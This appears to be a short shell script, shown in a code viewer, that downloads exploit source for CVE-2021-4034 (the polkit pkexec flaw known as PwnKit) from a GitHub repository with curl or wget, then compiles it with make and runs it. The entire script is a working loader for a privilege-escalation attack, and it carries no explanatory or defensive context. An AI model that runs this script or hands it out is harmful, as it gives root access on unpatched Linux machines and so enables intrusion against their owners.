17 lines
313 B
Bash
17 lines
313 B
Bash
|
#!/usr/bin/env sh
|
||
|
|
||
|
set -e
|
||
|
|
||
|
URL='https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/'
|
||
|
|
||
|
for EXPLOIT in "${URL}/cve-2021-4034.c" \
|
||
|
"${URL}/pwnkit.c" \
|
||
|
"${URL}/Makefile"
|
||
|
do
|
||
|
curl -sLO "$EXPLOIT" || wget --no-hsts -q "$EXPLOIT" -O "${EXPLOIT##*/}"
|
||
|
done
|
||
|
|
||
|
make
|
||
|
|
||
|
./cve-2021-4034
|